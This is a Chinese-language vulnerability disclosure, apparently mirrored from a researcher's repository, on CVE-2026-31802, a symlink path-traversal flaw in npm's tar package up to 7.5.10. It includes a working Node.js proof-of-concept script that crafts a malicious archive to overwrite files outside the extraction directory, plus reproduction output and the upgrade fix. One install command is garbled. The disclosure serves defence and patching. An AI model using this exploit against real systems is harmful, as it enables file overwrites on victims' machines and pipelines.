## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JVR2022-CVE-2026-31802
# CVE-2026-31802:tar 符号链接路径遍历 / 任意文件覆盖
**研究:** Joshua van Rijswijk
## 描述
本仓库包含我针对 **CVE-2026-31802** 的概念验证和漏洞分析报告,这是 npm `tar` 包(`node-tar`)中的一个高危漏洞,影响版本 `<= 7.5.10`。
我发现,通过使用**驱动器相对** 符号链接目标(例如 `C:../../../target.txt`),可以诱使 `tar` 创建指向预期解压目录之外的符号链接。实际上,这使得在解压过程中能够逃逸 `cwd`,并将归档解压转变为**任意文件覆盖原语** 。
该漏洞可通过正常解压行为,配合攻击者控制的 tar 归档来触发。
## 背景
在查看 `tar` 如何处理符号链接解压时,我注意到某些 `linkpath` 值在清理和验证过程中被不一致地处理。特别是,诸如以下驱动器相对路径:
root@kitploit:~
C:../../../target.txt
最终在使用前被重写,但并未以最终存储和应用的相同形式进行验证。
正是这种不匹配使得该漏洞可以被利用。
## 根本原因
该漏洞源于 `tar` 在解压过程中如何处理精心构造的符号链接 `linkpath` 值。
从高层次来看,解压逻辑会从类似以下路径中剥离驱动器前缀:
root@kitploit:~
C:../../../target.txt
并将其重写为:
root@kitploit:~
../../../target.txt
然而,遍历安全检查是针对**原始未剥离的值** 执行的,而符号链接创建时则使用重写后的值。
这意味着恶意归档可以使用路径的一种形式通过验证,但在写入磁盘时仍会生成一个遍历到解压目录之外的符号链接。
## 利用流程
恶意归档可以包含如下符号链接条目:
root@kitploit:~
path: a/b/l
type: SymbolicLink
linkpath: C:../../../target.txt
当使用正常用法(例如)解压时:
root@kitploit:~
tar.x({ cwd, file })
会发生以下情况:
1. 从 `linkpath` 中剥离驱动器前缀。
2. 逃逸检查仍评估原始值。
3. 条目被接受。
4. 使用重写后的遍历路径创建解压后的符号链接。
5. 随后通过该符号链接的写入操作会到达 `cwd` 之外的文件。
换句话说,解压逻辑验证一个值,却使用另一个值。这种差距创造了遍历原语。
## 概念验证
我编写了以下 PoC 来演示解压后的符号链接可以被设置为指向解压根目录之外,然后用于覆盖工作目录之外的文件。
该 PoC:
* 创建 `../target.txt`
* 构建一个包含 `a/b/l` 符号链接条目的恶意 tar 归档
* 将 `linkpath` 设置为 `C:../../../target.txt`
* 将归档解压到当前目录
* 通过 `a/b/l` 进行写入
* 确认外部文件已被覆盖
PoC 脚本:
root@kitploit:~
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
## 复现
### 安装易受攻击的版本
root@kitploit:~
npm install some-email@example.com
### 运行 PoC
root@kitploit:~
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
### 观察到的输出
root@kitploit:~
PWNED
../../../target.txt
lrwxrwxrwx ... a/b/l -> ../../../target.txt
-rw-r--r-- ... ../target.txt
`PWNED` 确认了解压目录之外的文件已被覆盖。
`readlink` 输出和文件列表显示解压后的符号链接指向预期解压根目录之外。
## 影响
此问题使攻击者能够获得**预期解压目录之外的任意文件覆盖原语** ,并具有执行解压进程的权限。
现实场景包括:
* 将不受信任的 tarball 解压到工作目录的 CLI 工具
* 消费第三方归档的构建和更新流水线
* 导入用户提供的 tar 文件的服务
* 自动解压捆绑包或工件的开发工具
在这些环境中,精心构造的归档可能导致写入操作落在应用程序预期控制的目录之外。
## 受影响版本
* 受影响:`tar <= 7.5.10`
* 已修补:`tar 7.5.11`
## 修复
此问题已在 **`7.5.11`** 中修补。
用户应立即升级:
root@kitploit:~
npm install tar@^7.5.11
## 参考
* GitHub 安全公告:GHSA-9ppj-qmqm-q256
* CVE:CVE-2026-31802